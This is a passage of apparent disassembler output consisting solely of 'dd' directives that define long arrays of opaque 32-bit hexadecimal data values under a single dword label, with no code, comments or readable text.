		dd 2BF3D74Bh, 0A2001075h, 6609F4FBh, 0CEB73Ah, 14D81563h
		dd 0DD7A1CB0h, 0DE210B01h, 0E1E67B0Ch, 9193E4h,	0DAA02A5Dh
		dd 742EEDC7h, 0CA2B7900h, 0D1AF9D8Ch, 68910037h, 0F077B36Eh
		dd 10721723h, 3EC25400h, 99043F0Ch, 3473003Ch, 31BA13F7h
		dd 98001655h
dword_4C92F8	dd 0CDD87F88h, 8ED2B9h,	8B0AAE85h, 1A340C80h, 4DB6A300h
		dd 0E30F6879h, 31E600D7h, 0A04626B9h, 3E00A199h, 65145638h
		dd 12C507Ch, 0AC9AB1B0h, 0D047E59Eh, 6F0AE05Fh,	8475E726h
		dd 3DE05614h, 0B760808Dh, 2597915h, 0A63B00F6h,	29CA88ACh
		dd 66001163h, 12B172BFh, 0FA8FB0F8h, 99A81C9Fh,	0D12600D8h
		dd 8E1FE53Bh, 0C8F77F17h, 1A3D09h, 0B3E4BC50h, 171D005Dh
		dd 0C9A97EB0h, 327D29AFh, 573AD00h, 0C7463996h,	0F41F3FCAh
		dd 0C18DEC07h, 3A07F56h, 7128E80Fh, 9A468E00h, 0EFBA4575h
		dd 3D98762Ch, 0AD3010BFh, 5C9BA010h, 0A9F7461Fh, 87E22042h
		dd 222840EDh, 905D48E3h, 0C982268Fh, 0C406024h,	3C01F276h
		dd 10392E91h, 47F5BD2Fh, 0E96AF4h, 0F8B9120Fh, 6909ADCAh
		dd 1E00F97Fh, 93C6F320h, 3C251C7Eh, 9C8016AFh, 6BE0E1A3h
		dd 0CB01A4D4h, 0C219D8F6h, 72DC5D81h, 0A24A26F8h, 308A05C7h
		dd 74448013h, 0AF4CEF32h, 0A5D64085h, 1F4C0500h, 0ED3B7595h
		dd 9068C7B0h, 77C4CC01h, 0AC74AD00h, 237C94F9h,	1EF6EC2Dh
		dd 47F14749h, 0F4FE80BAh, 0D8D48051h, 0D6001D91h, 224AEC53h
		dd 0ECA9D788h, 3EDE0F90h, 79E0C59Fh, 4E82D971h,	80255B0Eh
		dd 5E070039h, 37499Ah, 0E86D7F04h, 4456749Dh, 347CE600h
		dd 0BD81A03Fh, 0B8A72E68h, 0F3F90F4Ah, 582DE2C3h, 14A6D9A8h
		dd 8B002E77h, 0C321D451h, 3509AAh, 0EE302072h, 0CB617AB9h
		dd 5943101h, 0E9C7C375h, 0C63BECh, 0A5D781B8h, 0D0688B0Dh
		dd 7B622000h, 654A0FA1h, 3AC80051h, 0ABBD7071h,	0E0397D14h
		dd 90B28012h, 8257ED11h, 0A1B13E0Dh, 25284A00h,	0F4C7F87Eh
		dd 9A20D200h, 0DB5CB3D4h, 0FDD90040h, 0C8FECB9Ch, 0BB07DFA5h
		dd 0E68645AEh, 5DEDBC40h, 0F0390358h, 0E73615D6h, 616A1DE8h
		dd 0E5779DF0h, 4511AF07h, 5E514D33h, 8047F940h,	447D8F02h
		dd 0B87000DCh, 1DBA6FB4h, 311F0D95h, 0F7837E98h, 0E8A7ED22h
		dd 69DD303h, 0FF274056h, 8100118Dh, 0C26E5D24h,	30AC5A15h
		dd 2C615B7Ah, 0A00F109h, 0B9EF53BAh, 0DF210Ch, 0DBFE7D3Bh
		dd 50D27065h, 78A8900h,	58711455h, 21601E88h, 87E4C012h
		dd 0D6F9F7E9h, 2A90ED00h, 0AE8C0A59h, 0B845F69Eh, 37C81E84h
		dd 1AAD4043h, 0E01ED6EEh, 30FEBE00h, 0D31BBF5Ch, 0C2A6000Eh
		dd 0B8171AF0h, 4900FAE2h, 33DB46A0h, 48E30166h,	0BC541979h
		dd 0D2A5001Bh, 58CC88E7h, 5B0FF9Bh, 0F4BB200h, 6D5614C4h
		dd 596600EFh, 7C1140C1h, 5239F909h, 14C48h, 9D23792Eh
		dd 0E2A87Bh, 0B418FE58h, 6FAFDE5h, 0F3BF8C02h, 608F7345h
		dd 0CB0F34h, 0D55CD029h, 15E3399Dh, 9486CC00h, 33F81E20h
		dd 0D2FAB3h, 78DCF44Ah,	0B263F97Eh, 7453450Fh, 0D8409D8Fh
		dd 0B0E1B69Ah, 0F3C10051h, 2CC20949h, 0FD03ABEBh, 0F6BCE516h
		dd 3DEEB86Dh, 2AF497h, 0DF7EA920h, 4FE5B1FCh, 65B5D14h
		dd 3CAC00E4h, 0E2024763h, 92D300D2h, 5A170A21h,	0B57EF295h
		dd 3B88FF02h, 407B3A5Fh, 0E86AADF2h, 9FDB0134h,	4A06134Eh
		dd 753CF4B3h, 3700C970h, 0ED18C156h, 788C0Dh, 0B795BFB6h
		dd 5CFA396Fh, 4FEBA700h, 0ABC1E971h, 1526008Dh,	0F79C22DDh
		dd 0E42CB718h, 0B12CAC5Bh, 138B9639h, 30F47C00h, 6F310AE5h
		dd 62401074h, 0DB275FF2h, 175884FCh, 0D3A40059h, 0A27F406Eh
		dd 0CC9045h, 9C778EB9h,	0A46C2B9Eh, 7EFEAE00h, 932EB324h
		dd 0C86D1E08h, 83803099h, 1C00A7B5h, 76260C9Fh,	1D758Ah
		dd 0ECA19DEAh, 80C13E42h, 12004FF4h, 43AEC21Ah,	422A408h
		dd 0ACE55AA0h, 475480D4h, 3D009A50h, 0D135FEA1h, 4813EB6Bh
		dd 0C80100EEh, 3132F8ADh, 0FE866063h, 90DC4E00h, 41792208h
		dd 0E5ED004Bh, 0BBC420BAh, 2BF08407h, 76DA0D3Fh, 3056AB3Fh
		dd 7949FAFBh, 0D99C0C28h, 0EA982325h, 2D2FECE5h, 8157A03Fh
		dd 9BD2E16h, 7DE4D95Fh,	662007Ah, 0DC840FCDh, 0AF0048F9h
		dd 0E4E035E9h, 73FCF378h, 0DDDB00ABh, 11881A92h, 2402C29Eh
		dd 8B22ED23h, 0B50C857h, 2D9D00F4h, 441F276Ch, 21E190Ah
		dd 9100F3CFh, 81E00763h, 0B0430E3Ch, 3141A14Fh,	606D3DBFh
		dd 62003844h, 7B2FD084h, 95C647h, 6C23E902h, 68659B10h
		dd 40B46200h, 0EF4584D6h, 6FDB00C5h, 2C4A230Fh,	0B66098CBh
		dd 1142DF48h, 0CDC1031Ah, 376C4BBFh, 51CB68E0h,	0F524EE38h
		dd 5C0045F6h, 0E4392AF1h, 2472FD57h, 0E933E8Fh,	337BB88h
		dd 0D784B92Ch, 25BD7B88h, 3200A7E0h, 4E86E3FCh,	7D6F73h
		dd 6E072EBEh, 66DAD417h, 0C111FD00h, 1A7C3525h,	1FF7073Dh
		dd 0CE43189Ch, 8AE53C2h, 0A1C6A801h, 0C73EEC66h, 3AA4B4BDh
		dd 8BC18064h, 0C172831h, 0B5188900h, 0EDE33B92h, 74D9E86Ch
		dd 0E46703BEh, 0AC070156h, 3CD14880h, 6800E873h, 28B7C8ADh
		dd 29C4E9h, 7C61FB16h, 0D013F1Ch, 0CAD7C606h, 2170B942h
		dd 5404AFFh, 177A67D9h,	40C63C4Ch, 90F87144h, 2D2CEF4Bh
		dd 0A1414C89h, 0BC43BC2Eh, 5EEDB036h, 0EBFC75h,	0CD199079h
		dd 15AEE7FEh, 55B9DE00h, 28B60A85h, 0DD7A00A1h,	0C1F6A3EEh
		dd 82016526h, 2A993021h, 0C2A63EE0h, 5AFE0E84h,	0C620C09Fh
		dd 525C03F2h, 0BAAC6000h, 0AAB7559Ch, 7B2F0D0h,	913EE101h
		dd 0C107FECBh, 6640AE94h, 71C0689Ch, 0F1A39501h, 26CA257Fh
		dd 29730h, 0D1CBA0DEh, 287BDCB0h, 0C8AE5F30h, 4B9390h
		dd 348DFB12h, 91F241ACh, 264A0800h, 5C9CF850h, 3092007Dh
		dd 70BBC9CFh, 96609356h, 0D50EF7B0h, 0C0AEF265h, 0DF3A1110h
		dd 0AC0086C6h, 582E9B0Bh, 8B6E01h, 0C37CFEC7h, 0DD2DEE21h
		dd 291C7112h, 5DBAA804h, 13F9C541h, 0F803E933h,	0A33C6D1Fh
		dd 0B4ED80D8h, 7CAEA508h, 6A7B005Ah, 49737628h,	9E01AB2Ah
		dd 44AC01DCh, 0E070407Fh, 16F93096h, 0DF381448h, 2CA51C18h
		dd 0EFC610h, 0CF6932F5h, 40E74989h, 7EFBA400h, 0A80BD20Ch
		dd 4A13B4Ch, 98E4EA00h,	6D091FCFh, 25546C13h, 285AC00h
		dd 906F0E06h, 16F304A0h, 0A6E172h, 733A4A99h, 191D045Ch
		dd 0C08287BEh, 0D6ACF0F0h, 1E580C00h, 6673490Eh, 4CE8CAh
		dd 0FF9F71D4h, 1D785C52h, 0B37F9701h, 0BD312B4Eh, 400FAAE7h
		dd 4C6FC8A0h, 0B2483C85h, 7E444500h, 9FB381A3h,	0CC767900h
		dd 111C7FF8h, 4FF000CEh, 26334B9h, 0DE00F13Fh, 4CC7DB36h
		dd 0E0C483h, 429F8BE3h,	7A4085C5h, 0DB695000h, 2B6B8A72h
		dd 5D4C0F54h, 6480ED17h, 1FF88019h, 0DC40500h, 85AC0BF3h
		dd 0EE6F2E8Bh, 94D10074h, 0F691DC7Dh, 31EC8800h, 0F3FBDBD3h
		dd 2D7100E3h, 0B3596820h, 93121DC8h, 0A84083A1h, 1553F3D7h
		dd 28692698h, 0DE5880A0h, 6A9B5659h, 40D57400h,	0CE7C95F6h
		dd 5B621FB3h, 499E00DFh, 3B9FA81Ah, 0A09CF400h,	0D4C7C0E6h
		dd 185100F0h, 0DC3D556Dh, 112CB338h, 0EE004A43h, 8F6915D8h
		dd 364D00D1h, 0A80F0370h, 0F65065D9h, 0E7005AFCh, 7A1C1D50h
		dd 1EC7C809h, 4E801131h, 0A403BE2h, 8D536110h, 71F76F00h
		dd 0FC13B2BCh, 1E4102C6h, 24F59893h, 0E8B16C40h, 0B412D600h
		dd 73ACE9EAh, 0C6421F31h, 26DF5ECFh, 0AE7E0168h, 0E8B7C3D8h
		dd 0F8191B75h, 488861B6h, 71698AECh, 215305FCh,	9095CEC7h
		dd 43D945FCh, 1FB66500h, 0A475C5C4h, 53E40657h,	986DB558h
		dd 0DBA6041Dh, 545135C0h, 0B9F927h, 1AF3B1EFh, 0BFE679F4h
		dd 702B8926h, 0F0A52F04h, 0F88BCAC0h, 0BD9300B4h, 6F5623C3h
		dd 0CE03E4EFh, 0C6529539h
		dd 8594E03Ch, 5A27347h,	982AB4DEh, 0E2AC82BAh, 0E76A6160h
		dd 82030590h, 0D9AC9D81h, 0A657A852h, 7BD67967h, 0C4F303A0h
		dd 0AC595FE2h, 701C8DB1h, 3302F9BEh, 0C13DDFDCh, 51BC6815h
		dd 87A41F76h, 0B421C02Fh, 5626125Ah, 0E98E7700h, 0D95EA34Fh
		dd 3BA7A07h, 237934CFh,	0A0A89E4Bh, 28F8AF33h, 0A35E6900h
		dd 9DD8F810h, 0E0FC0E3Dh, 80F84879h, 4492AFF6h,	0EC884Ch
		dd 21A3F23Eh, 0F810030Eh, 2C9A001Dh, 8D0DF384h,	5100BFDEh
		dd 7D2CE78h, 7E208932h,	1326985Eh, 30D97h, 0DAAD2891h
		dd 835953BDh, 9E7C0110h, 7AE706BEh, 0D76C0h, 7E2AEAA5h
		dd 9FF1DBC2h, 47286260h, 0F98013h, 60FA639Dh, 0FB96C32Eh
		dd 3A0E85EAh, 404DA21Eh, 5B74760Dh, 7A91184Ch, 8625BA42h
		dd 0E5037298h, 551D3684h, 8ECA00Eh, 6F010BCDh, 0E8800627h
		dd 0D22B8B9Bh, 49860500h, 9EDC4B6Ah, 51F700D3h,	1ABACF6Bh
		dd 9200C0C7h, 3E8DBF97h, 77ACF44Ah, 0A09067h, 23C61165h
		dd 3C384148h, 0F703AE77h, 0D26B12DCh, 49C0EF8Fh, 766A6F43h
		dd 0A5F80030h, 0D121950Dh, 39008E3Fh, 0C5D01EA3h, 58B624h
		dd 0E2C11FFDh, 840AA42Bh, 38205C4Fh, 717A3765h,	68BB0047h
		dd 0F940713Ah, 0D4259C42h, 20C007Fh, 1CED91Ch, 0E8810186h
		dd 240A3769h, 4007E94h,	0F857DB51h, 3D12A75Bh, 0ED0024EFh
		dd 0D5C8FBB1h, 0CB85815h, 42387301h, 0C09CBFFDh, 2C3120h
		dd 7025F5A0h, 88F378E6h, 0ED2632F2h, 3A00BC58h,	0CCE18C92h
		dd 9660083h, 0F36B55Bh,	557FF92Ch, 80A4DE3Eh, 7AD334A8h
		dd 31FCB6h, 0C138B05Dh,	761C32FAh, 94AFFB2Ch, 268E1700h
		dd 48B5DACBh, 5F00A856h, 0E1F43A2Dh, 0DB014166h, 360EFCEh
		dd 88409528h, 7D84CECh,	0E9FF085Ch, 97ED614Ah, 12CAF4A5h
		dd 6628491Eh, 283E6164h, 1400922Dh, 0CF8C8DB1h,	0BA68BDA1h
		dd 64B01CB4h, 621CC913h, 0A9564CC0h, 48C2B600h,	0F8E930C9h
		dd 63A2002Ah, 0E246E118h, 0CC909ED3h, 685481E4h, 4900C1BCh
		dd 2FDB5A36h, 58AD665Eh, 0C059B015h, 0C751FA00h, 0B04EF838h
		dd 0FF6B2A00h, 16390453h, 86440059h, 34C33D95h,	0F75CF831h
		dd 0F48A00C8h, 0C52FAEDFh, 471E00F6h, 0ACD9CAB5h, 601CE31Fh
		dd 0F2078CD8h, 0E09F15D6h, 50BC764Bh, 3B2900CEh, 893EC2B9h
		dd 4100402Ah, 5A57A037h, 306710h, 2BCDBEDEh, 9B84F959h
		dd 7F09FC9Ch, 219F005Eh, 5CB704C6h, 0EE00C4BAh,	0C831EB4h
		dd 4BE09E77h, 14E2D300h, 204DC80Ah, 16600B7h, 0C303E432h
		dd 9500C6AFh, 0AC101CA6h, 94F57B48h, 98DF009Ch,	204A18DBh
		dd 0A343A900h, 24F9EEECh, 97FC01D1h, 74B84D5Bh,	0F37970D4h
		dd 80785F3Fh, 9E734FA5h, 1FDC8410h, 80C02CFDh, 3CA246DEh
		dd 7A003FE1h, 3EA7AF61h, 40A51Bh, 22144D86h, 0DA391023h
		dd 8201504h, 92C0C2D0h,	25234ACh, 0B51CCA11h, 83801D23h
		dd 0FC1B94D2h, 0CD028A2Ch, 0ACB78738h, 79F9D8h,	0E97ADA08h
		dd 7BF7EC98h, 1243048Bh, 8127CCF5h, 0E7F2C590h,	7F175A8h
		dd 3A0029E4h, 3F86EBE9h, 0F1FF40Bh, 0B4E225A7h,	1990FE0h
		dd 0AA4C6F83h, 58BE3DD8h, 45330208h, 487F8E37h,	73952Ch
		dd 0ED99CA6Dh, 0F3089A8Fh, 0B81FD14Ah, 0F0DE740h, 7B9BF2C4h
		dd 25BF167Ch, 0C0981F77h, 0E03279A4h, 0F8044F87h, 1050E92Fh
		dd 0A143DD0Fh, 33B82B41h, 2200B3D2h, 25CF59B7h,	29D08h
		dd 0D396D1FAh, 6A236415h, 0A269CD00h, 2F39A97Ah, 63B10B79h
		dd 0B440D76Ch, 44941268h, 1B720240h, 57C802E4h,	6D9E1C35h
		dd 0FAB8FC80h, 0F92C3F48h, 0FC00304Eh, 38BA1E25h, 0CA3A0169h
		dd 0ACB219F5h, 0B6728242h, 60636CC4h, 3FBBC2h, 6850B91Dh
		dd 0D4B04B15h, 65D2200h, 21A6C404h, 0FD7355h, 0A02D261Ch
		dd 0A858A1D3h, 0C967521Ch, 0B216BEC2h, 77450DCh, 0CF735066h
		dd 0B720EF13h, 78D96F57h, 0CE528500h, 45EBDE56h, 0DF6D00BFh
		dd 198A2EB1h, 5C0BC946h, 0AF808312h, 0ED12148h,	0D07066ECh
		dd 0F2FE05h, 53EEBA85h,	96D6FD09h, 0BCE34Dh, 0ACE7FF36h
		dd 349E21Eh, 33CC4701h,	2100B942h, 0FD7C37B0h, 87D3E0h
		dd 980A9D6Ch, 0E9019591h, 0DAADC00h, 0FEB31F3Fh, 24EE0076h
		dd 2555CE7Dh, 0EA3D34C0h, 50CF833Ah, 906836D1h,	0D75688h
		dd 0AD077ECAh, 0FC8505CBh, 0B239B800h, 0E728520Dh, 2A9203DEh
		dd 0BB333BF3h, 742DB0C8h, 670A6501h, 5E3DD223h,	0AA31C440h
		dd 3FE8006Dh, 130273E4h, 0FA0389CAh, 0D47859E5h, 884FD038h
		dd 38AA4CF3h, 0ACF0D007h, 0D60FC051h, 0E7F23FEh, 0C688604h
		dd 8A8AA67h, 0A156007Fh, 4502F569h, 190F5193h, 0CEF20134h
		dd 97E06008h, 0F246C37Ch, 1CB671h, 364026EDh, 6E39DC2Ah
		dd 0E7CF001Bh, 4B895F97h, 0F3A8C507h, 85820C14h, 0AC0713F4h
		dd 2A9C2658h, 0CCFD9B40h, 8BEA01D1h, 3254CF33h,	1DF030C6h
		dd 99D7AA00h, 8FE0B763h, 6245124Dh, 2DC0079Ah, 0C5E8703Eh
		dd 91090E57h, 7D4E05Dh,	9E37B060h, 7898A983h, 0C9DF00A0h
		dd 23496234h, 0B5075154h, 67D35B13h, 0B36829E0h, 0CFC11D2Eh
		dd 9A80800Eh, 0EA0D4EDAh, 77832200h, 7D8674FAh,	3348C0D7h
		dd 694504B1h, 611844A0h, 41FC74Ah, 0B5FA7800h, 14E8EAEDh
		dd 147FABB6h, 654ED000h, 745BA22Ch, 47683C00h, 0CF446129h
		dd 6F603A97h, 6480D1BCh, 6DB70C4Bh, 0B8035DC6h,	55011E72h
		dd 0D48E9857h, 989900DDh, 89062567h, 797602A2h,	0D2E3C307h
		dd 0B0F0AD4Ah, 1413B30h, 542963A7h, 0F4428BF5h,	0C807C283h
		dd 0EEF3F739h, 40B501E2h, 50347Ch, 627152C1h, 0FB38280Eh
		dd 0A777200h, 0E8AB4CF8h, 3A740FFEh, 0BA00C927h, 0F44F751Fh
		dd 722ADA00h, 0BFC589EAh, 8D2F0053h, 0AEFFC910h, 311E1F44h
		dd 30801886h, 9BD5FA38h, 0AC2D01F3h, 32D62A5Ah,	0CC8C401Fh
		dd 3E0054C4h, 0B5CACFF9h, 297374h, 528FDB4h, 1982AB75h
		dd 5678A007h, 37670647h, 0D00408D5h, 3C06441h, 502C71DFh
		dd 74BC93h, 0C190E6D7h,	246F7DA4h, 0A3320500h, 0E37138D1h
		dd 955A70F0h, 7217F083h, 0ACAF07F8h, 0A2D0C000h, 2EA4C8DAh
		dd 0EE55E8D3h, 59190008h, 0F15148Ah, 410070ECh,	7BA482B4h
		dd 0F0A8A60Dh, 9213002Fh, 405DAE4Ch, 25F6D0BBh,	0AA367E00h
		dd 0F88299DBh, 0FE1800D3h, 0A1DAC120h, 8BFEA88Dh, 0A223B402h
		dd 0D0C347F2h, 91190068h, 7807660Eh, 0DD0FB1C1h, 6058A85Ch
		dd 0AB867B51h, 0C57005Ah, 24541950h, 0C200083Ah, 6C8CDBF7h
		dd 1C90A8B0h, 325AAEh, 2F2A7176h, 3300E538h, 0D99BB321h
		dd 14EB3Ch, 9D997808h, 42FA82E6h, 0F1742400h, 0D3ABBAB1h
		dd 3D060E0Bh, 28B89450h, 0E88893E3h, 0D6338873h, 89B37C88h
		dd 9C24CA69h, 1250D021h, 0F5161078h, 40F48088h,	5A2032F2h
		dd 21444208h, 0F3D4086Dh, 0D51BA600h, 11A260h, 4FD95049h
		dd 0CDA9F0DAh, 0C03F7C07h, 201FDB21h, 29D0BF13h, 8F2A00B2h
		dd 0C743E46Dh, 17005BCAh, 0DA247CE2h, 8C8234h, 0DE0275D7h
		dd 0B864F115h, 0D4832A00h, 2EF2BA9Eh, 6D96001Dh, 16342231h
		dd 253C7607h, 1420E80h,	0F4306087h, 0E0224h, 0F1F7CF23h
		dd 4CD0933Dh, 90909270h, 0FA7D5107h, 5CF01F50h,	25E2A5h
		dd 3B76625Dh, 0D74FC992h, 3478FF00h, 0C1E75973h, 626A0344h
		dd 70A1BBEBh, 0D87674B8h, 0E4281A1Dh, 673CBC80h, 327C735h
		dd 7E994333h, 81D51671h, 0CCAC83C7h, 49000389h,	0D91530F2h
		dd 52ECB6h, 1E33DA0Ah
		dd 48F5FD5Eh, 13E8A907h, 0E5A04931h, 0CB26B9h, 298B56F1h
		dd 0B08C4127h, 0CE1C1200h, 408DEB7Bh, 73610760h, 0E0936C90h
		dd 212DB104h, 7C006798h, 455C572Eh, 76E40F6Dh, 0C9261EA0h
		dd 0BF790049h, 0B1245572h, 0BE000D79h, 586AC3F1h, 0E6AE4Fh
		dd 37D8EC60h, 1B5EFDF4h, 6F74E07h, 0A690D595h, 32CAEAh
		dd 896FAF90h, 6A7499C0h, 2FC15A00h, 0D45B0711h,	0E060098h
		dd 0AEB4D03Ah, 0A00E0D8Dh, 0A0915F92h, 0DB7659D6h, 0E9AD00FBh
		dd 1FB870C8h, 0C9009F90h, 8A870624h, 760C71h, 3BF88F66h
		dd 62845A21h, 0BDB0FB5Bh, 263A058Eh, 2743FD9h, 0BA9190F4h
		dd 0FE34F8E0h, 0A30C790Fh, 54204032h, 45B608h, 1B5CA75Dh
		dd 7B376273h, 0F4CDB10Fh, 780DC0CAh, 318A9B5Fh,	0EB884C69h
		dd 8E86D0A0h, 5D00CF78h, 0C53FCCAEh, 1CEC42h, 55917611h
		dd 7FEBFCA7h, 0F1000EF0h, 28548A31h, 7294B4F2h,	0A6F262h
		dd 9706BB7Dh, 6CFD9E86h, 47B8C250h, 758B8F00h, 2AF70161h
		dd 9767002Ch, 0CF94301Eh, 0E8240A66h, 4926E296h, 0BECD8A38h
		dd 0D806FA2Fh, 1042C1h,	0FE36C856h, 3A44BCBBh, 1AC6E203h
		dd 0F841D696h, 3A8B8E6Ah, 78C3EFh, 581E6B25h, 0D6424EDCh
		dd 95708162h, 1A3E6031h, 576B0056h, 7ACFD218h, 0BE00CBF1h
		dd 8D5C984Fh, 1D73D8EEh, 0C0C8F0FAh, 0A254ED66h, 0C0E1D10h
		dd 21A340F4h, 0B009810Eh, 0B3BB9880h, 0AA8A91ADh, 60A63E00h
		dd 0A20BE78Eh, 66B7004Bh, 5F204C28h, 5300FFCDh,	7609FCCAh
		dd 0B4848Eh, 63CF2AF4h,	59E9F12Eh, 11ACBC03h, 0B84CDA34h
		dd 0E283E68h, 0C3E6856Dh, 1C876B80h, 0CF008122h, 0D6DBFBBEh
		dd 1C914BB9h, 0AB4CB1Eh, 0FB8FA45h, 0F56E9759h,	63325BA0h
		dd 0BC3E3961h, 4C48A2h,	9AD109EFh, 0E62D19h, 0B994D985h
		dd 55883B4Dh, 0F8D5948h, 80D1FBCBh, 12B20118h, 8890A1h
		dd 5F402A0Eh, 46D9917Fh, 267C7700h, 8DF43DFDh, 85BD24A6h
		dd 12B7247Ch, 1390446Bh, 1E68D060h, 8981C2Dh, 283FC23Dh
		dd 0B61DA046h, 2500E928h, 13F1E60Dh, 6D901712h,	0FCF10042h
		dd 0C441C160h, 0AB29CA00h, 0E10D47Bh, 0C04300E1h, 1B21B950h
		dd 0C300563Ah, 0C8E018FAh, 48B194B5h, 0C13F746Dh, 9F80BD38h
		dd 18CFE2DBh, 3B00D382h, 750B9B38h, 1F65230Ch, 0D81F79h
		dd 9C3D4520h, 0BE0FAF5Fh, 800FF7C8h, 97087ADDh,	579600D4h
		dd 1760273h, 43A1FF4h, 4ABE3F61h, 140318FCh, 57CC017h
		dd 0AD4BF1B8h, 0B5AE3D00h, 1BE65026h, 3B4E0008h, 76443825h
		dd 211C606Dh, 17051E46h, 1CC26E45h, 6601E005h, 0E7D20081h
		dd 0DB7FB93Dh, 1460F0D1h, 682C30D0h, 15C40046h,	3E097EF8h
		dd 0E80095E4h, 0BF4A0421h, 90A22D14h, 0B8270004h, 0DF96B630h
		dd 495CFACAh, 40E0002Ch, 74BA88C8h, 3EF900F5h, 0B7BBEC18h
		dd 23001AD7h, 0FB8BFFF7h, 1F69215Fh, 4052E20Eh,	0A8653C1Eh
		dd 90EC579Eh, 0B42A3600h, 30CDFE05h, 678E00C5h,	0A8D7C753h
		dd 5469595Ch, 4580040h,	27BF97h, 4C4F7DBCh, 31810BE3h
		dd 0A0F25207h, 0BDC00F94h, 0FA66B4Bh, 0A523B293h, 557CDE63h
		dd 4800F2BBh, 0E7ECE577h, 704758Dh, 6F250E9Ah, 0B99F003h
		dd 0F40EDC98h, 60834EBAh, 0F3227639h, 0F16D2693h, 0ECA6E8h
		dd 0F712A995h, 8607CA05h, 96910CD1h, 0F5DB3EA0h, 8E7097h
		dd 1E8A4B3Ch, 82F2A35Ch, 1100A892h, 1F1618E3h, 0ADBD35h
		dd 0F57391AEh, 1994F96Fh, 0BE007B7Ch, 4F310DA4h, 1CF5E05h
		dd 7792E64Ah, 0F832F3FAh, 991F3BD8h, 0CB4854CEh, 14A28205h
		dd 18C67F4Ch, 0B0745D01h, 1BE47B4Bh, 0EAAF2D8h,	28EC6347h
		dd 0DB69488Eh, 9BCEA0A0h, 0CC03066Ch, 0DEED220Bh, 1542C956h
		dd 0FA6DC74h, 0CAA7F57h, 0DAC4501h, 16B840CEh, 6007C8Fh
		dd 41A5227Ah, 0DE1DE2h,	0DAEC5B76h, 0FE831080h,	0F4F81CFEh
		dd 1AA77003h, 8037D5B5h, 3BC4CC2h, 932DB20Bh, 25E0B8C7h
		dd 8B046685h, 320FDB18h, 2C78DAC0h, 0F5290080h,	0A4F716D1h
		dd 1E16908Bh, 830A38E4h, 3AACF9h, 0CBAC972Bh, 0FCE70944h
		dd 1B9C01D4h, 41201F5h,	39343477h, 946E9000h, 21E51C7Ch
		dd 4D6214A2h, 0D13C82E2h, 5A0558CCh, 97184F51h,	0D7EA21C4h
		dd 675210ADh, 7AAB00C1h, 0E2DE1C5Fh, 1507E05Bh,	0F4220732h
		dd 0E7600349h, 0CC0FC0Dh, 5CA30h, 6C85F2E8h, 3CAD919Dh
		dd 37239h, 0A14C2219h, 270388Ah, 51AC7189h, 0D048959Bh
		dd 5F0A4BB1h, 0BC081373h, 0E78A9C00h, 39103A34h, 2080C4D0h
		dd 4B795B4Ah, 2400326Fh, 0D8DE292Fh, 1714782Ah,	377116h
		dd 0F06063B4h, 2492E0D3h, 7062F800h, 0C765B574h, 53E656h
		dd 48671D7h, 0E8617E12h, 0A5EF6400h, 5A4EBF30h,	24670350h
		dd 860993FFh, 2F420BA0h, 145B98C0h, 52A7BFh, 9162ECBh
		dd 42F95C5Fh, 12003D79h, 9DD30D23h, 2ECF533h, 4FDBCF3h
		dd 5D40494Fh, 8EEC9396h, 822A1B3Fh, 1CDEB890h, 0C57B606Bh
		dd 6F550AA1h, 0B883929h, 235FFDh, 13D85184h, 0EB00D00Ah
		dd 9E1B76A7h, 0CBA41Eh,	23B7C4F2h, 698CD249h, 4E740B00h
		dd 1CD4938Fh, 13C03FC6h, 65E8280h, 0BE72BDBAh, 0F1FDAC00h
		dd 0FCEFCC89h, 46DF3C1Eh, 4FCE9A0Fh, 7055F20h, 6A005B14h
		dd 0D87912F4h, 2B26E7h,	4C01C01h, 351117ECh, 0A71ED400h
		dd 0C3838631h, 449A0068h, 505CC460h, 57E42209h,	9C2D9628h
		dd 0EC1DDF03h, 0F851C645h, 0E3897D8h, 8133D9FDh, 6CCA80DEh
		dd 535AD305h, 47495200h, 0D4A92CCBh, 912800A1h,	0E4AAD2B0h
		dd 1400712Bh, 6DA49ADCh, 1781F16Fh, 7865F34h, 0F0545594h
		dd 5436A31h, 0E925CD00h, 0C762C5BDh, 0F2AB007Dh, 0B9A7924Eh
		dd 7F7BEA81h, 5C7B48h, 794DBC37h, 585DA9h, 49672722h, 0BF334E0Eh
		dd 0D4701504h, 5490CEB0h, 987CD79h, 0C76A5D69h,	80996484h
		dd 0B93A267h, 8022BB38h, 10CA120Ch, 0F4D5BAE6h,	0D8B138C3h
		dd 7486DC81h, 0CC27E84Fh, 360034A2h, 3C4E87CBh,	0AA2173h
		dd 0F39AA4D7h, 0E986768h, 0A2606500h, 0DB06AD36h, 24D000C0h
		dd 93078DC5h, 0D8E827FBh, 0E467B100h, 30BB9AC3h, 0FF0F3913h
		dd 68927C80h, 0D39542F6h, 627D7713h, 86C6E00h, 506E9336h
		dd 741CFDEFh, 47E0047h,	6F72F31Bh, 90261F51h, 0D9006CF7h
		dd 6D60F981h, 16630021h, 0C1046411h, 0CF034BD0h, 0FB3F8247h
		dd 5DDFD85Ch, 0F03700A4h, 7B3D38E9h, 0DC00225Fh, 11FAFD4Ch
		dd 267285h, 0F8D6A762h,	52B64F6Bh, 0DF379E07h, 3CC012EAh
		dd 2F25C690h, 0E2D0D76Ah, 0D6A52F00h, 0C948C108h, 0F42A0074h
		dd 6AA078D1h, 9A035488h, 15DAD02Eh, 833ED0E8h, 45FA09h
		dd 87CCF5F9h, 0B647B5CEh, 0E3071677h, 48E90FB0h, 4ACBE0EFh
		dd 0B3B66C0h, 8C3FB92Bh, 0EA85F480h, 96E0D9B3h,	6694680Eh
		dd 0A64E3F6h, 6E80FF41h, 0F2FB405h, 0C42AD67Bh,	0B9874B00h
		dd 0AC003964h, 0A2F669B1h, 17D2F3h, 2FF9B514h, 0B76BFF4Ch
		dd 11393C19h, 0CC4062B6h, 0D116E9h, 573B13D8h, 0A2CE4A33h
		dd 0F8EEB900h, 87E9EA3Dh, 0F03C005Eh, 0C48A4CE4h, 0A72E0D6Fh
		dd 0E000BAA0h, 0BD87ECE1h, 6351003Eh, 0B3504F83h, 4500D2E4h
		dd 6B858AE7h, 0E616642Ch, 1D223EBEh, 615D3980h,	0CAB69146h
		dd 106AFC02h, 41939F88h, 1B20B02Eh, 200600AFh, 60D4613Dh
		dd 4002698h, 57B70DE1h,	1D6BD93Eh, 8056ADBAh, 497274D3h
		dd 0AF0181E5h, 0F0867C4Bh, 5420CE79h, 0E66307B7h, 0B0B10F0Ah
		dd 0A130FB56h
		dd 7D8C9C00h, 800B65CAh, 0F3D4E502h, 7FDA011Bh,	0A3166133h
		dd 0C08FD45Dh, 6B0004EAh, 0E817AD2h, 5C555B10h,	3C00F9D7h
